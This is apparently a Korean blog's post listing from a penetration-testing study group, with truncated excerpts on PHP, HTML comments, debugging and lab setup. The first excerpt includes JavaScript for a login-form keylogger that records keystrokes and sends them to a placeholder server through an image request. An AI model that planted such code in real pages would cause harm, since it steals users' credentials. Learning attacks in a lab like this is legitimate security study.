📓 Codegear_Archive

모의 해킹 스터디 - 4주차 과제 (1-1) 키 로거 추가 구현 코드 구성 key_logger.html key_logger.js key_logger.php view.html key_logger.html Login Form Login 로그인 폼의 키로거 key_logger.js var keys=''; var url = 'http://ip adress/key_logger.php?c='; document.onkeydown = function(e) { var key = e.key; keys+=key; } window.setInterval(function(){ if(keys.length > 0) { var data = encodeURIComponent(keys) new Image().src = url + data..

모의 해킹 스터디 - 4주차 과제 (1-1) 키 로거 구현 키 로깅이란? 키 로깅(Keylogging, 키 스트로크 로깅(Keystroke logging) 사용자가 키보드로 PC에 입력하는 내용을 몰래 가로채어 기록하는 행위 (키보드로 입력하는 정보를 중간에 가로채기 하여 정보를 훔쳐가는 해킹 도구) 내가 입력한 키 값의 로그를 타인이 봄으로써 해킹 피해에 노출 하드웨어, 소프트웨어를 활용한 방법에서부터 전자적, 음향기술을 활용한 기법까지 다양한 키로깅 방법이 존재 키 로거(Key Logger) Key + Log 키보드에 입력한 키의 흔적을 남기는 프로그램 프로세스로 사중하면서 키보드에 입력된 모든 기록들을 .txt 혹은 지정된 확장자로 저장되게 함 키보드를 통해 이뤄지는 모든 정보가 노출되고 있는 것 ..

PHP 의 클래스와 생성자에 대하여 클래스 (class) php의 클래스(class)는 객체에서 변수와 함수를 담는 틀 (필요한 변수의 목록과 사용할 함수들) class 뒤에 이름을 넣어서 클래스를 정의 엑세스 한정자 (public, private, protected) - 접근 제한자 멤버변수나 메소드가 어디에서 액세스(acess) 가능한지를 지정하는 것 (멤버 변수의 앞에 액세스 한정자를 붙이는 것으로, 그 멤버 변수에 접근 가능 범위를 지정) public : 클래스 내, 클래스 외의 어디에서라도 액세스 가능 (아무것도 명시되지 않으면 public) private : 같은 클래스 안에서만 액세스 가능 (클래스 상속 불가능) protected : 같은 클래스 및 자식 클래스에서 액세스 가능 (클래스 상속..

모의 해킹 스터디 - 과제 03주차(1) 로그인 페이지 보완 모의 해킹 스터디 - 2주차 과제 (마이페이지 - 나의 정보) 모의 해킹 스터디 - 과제 02주차(3) (마이페이지 - 나의 정보) 모의 해킹 스터디 - 2주차 과제(3) (마이페이지 - 나의 정보) 모의 해킹 스터디 - 과제 02주차(2) (회원가입/로그인 페이지 구현)의 Develop 과제 모의 해킹 스터디 - 과제 02주차(2) (회원가입/로그인 페 codegear-archive.tistory.com 로그인 페이지 구현의 Develop 과제 비밀번호 변경 회원정보 수정 회원탈퇴 변경점 (리디렉션 변경) home.php mypage.php 추가된 코드 비밀번호 변경 edit_pw.php change.php 회원정보 수정 edit.php up..

HTML의 주석 처리 HTML 주석 ( ) 시작 태그 () 이러한 주석은 HTML 코드의 어느 부분에서라도 사용 가능 또한 여러줄에 걸쳐 주석을 작성해도 인식 ex) PHP의 주석 처리 // 한줄의 경우 /* 주석이 여러줄인 경우 */ // : 한줄 주석처리 /* */ : (/*) 과 (*/) 사이에 포함된 모든 부분을 주석 처리 JS(JavaScript), CSS도 동일하게 사용

PHP 코드 트러블 슈팅 PHP코드를 테스트 해볼 때, 에러가 발생한다면 ?! 만약 에러가 발견되면 !! 오타 하나로 500 Error가 발생하고, 어디에서, 무엇이 잘못 되었는지 조차 확인이 불가능 이럴때, 에러 출력을 이용 디버깅 / 에러 메시지 코드 중간 중간 무의미한 출력 [ echo " >" .$변수 ]를 삽입하여 해당 $변수가 어디까지 잘 출력되었는지 확인 디버깅/에러 메시지 나타내기 php Error 출력 방법 에러 출력 : 자세하게 몇번 째 줄에, 뭐가 문제다 라고 알려줌 $var 출력 확인 php의 경우 코드가 순차적으로 진행됨 따라서 중간 중간 찍어보는 것이 좋음 echo "This >" . $check_res 이런식으로 중간 중간 써두면 어디까지가 출력이 잘 되고 있는지 확인 가능 동..

웹 개발의 필요성 모의 해킹 스터디를 진행하며... 웹 해킹을 진행하기 위해서는 우선적으로 만들줄 알아야 함을 뼈저리게 느낌 웹 개발은 매우 다양한 언어로 구현이 가능 하지만 여러개의 언어를 다 습득하는 것은 불가능 가장 대중적이고, 필수적인 언어 4가지 >> HTML, CSS, JS, PHP

모의 해킹 스터디 1주차 실습 실습 환경 VMware : 가상 머신(.ova) - VMware 설치 및 네트워크 설정 Ubuntu 22.04.3 LTS Docker 20.10.24 Apache2 php 8.1 MySQL Termius - Termius 설치 및 환경설정 VScode - VScode Plugin (sftp) 설치 및 설정 실습 준비 스터디에서 제공된 가상머신 SegFault_WEBdev.ova 을 이용 VMware를 통해 .ova 파일 import 제공된 id / pw 이용하여 로그인 VMware ifconfig 명령어를 이용하여 내 ip주소 확인 ens33 이용 - Host 추가 Termius 터미우스(Termius) : VMware 보다 보기 편하기 위해 사용 푸티PuTTY vs 터미우..

모의 해킹 스터디 - 2주차 과제(3) (마이페이지 - 나의 정보) 모의 해킹 스터디 - 과제 02주차(2) (회원가입/로그인 페이지 구현)의 Develop 과제 모의 해킹 스터디 - 과제 02주차(2) (회원가입/로그인 페이지 구현) 모의 해킹 스터디 - 2주차 과제(2) (회원가입/로그인 페이지 구현) 모의 해킹 스터디 - 1주차 과제(간이 로그인 페이지 제작) 모의 해킹 스터디 - 1주차 과제(간이 로그인 페이지 제작) 모의 해킹 스 codegear-archive.tistory.com 추가 구현 마이페이지 - 나의 정보 추가된 코드 mypage.php 이전페이지(home.php) 마이페이지 회원탈퇴 mypage.php Mypage 뒤로가기 session 변수의 정보를 기반으로, SELECT 를 이용..

모의 해킹 스터디 - 2주차 과제(2) (회원가입/로그인 페이지 구현) 모의 해킹 스터디 - 1주차 과제(간이 로그인 페이지 제작) 모의 해킹 스터디 - 1주차 과제(간이 로그인 페이지 제작) 모의 해킹 스터디 - 1주차 과제 (간이 로그인 페이지 제작) 제작 조건 DB 연결 X ID / PW == admin / admin1234 입력시 로그인 로그인 페이지 꾸미기 (CSS / Bootstrap 이용) 추후 원하는대로 적용 가능하도록 하 codegear-archive.tistory.com 1주차 (간이 로그인 페이지) 과제의 Develop 과제 회원가입 기능 추가 (기능 구현) 회원 가입 정보 (DB 저장) 로그인 페이지 (DB 연동) 동작 과정 첫 화면인 htt[://192.168.xxx.xxx:101..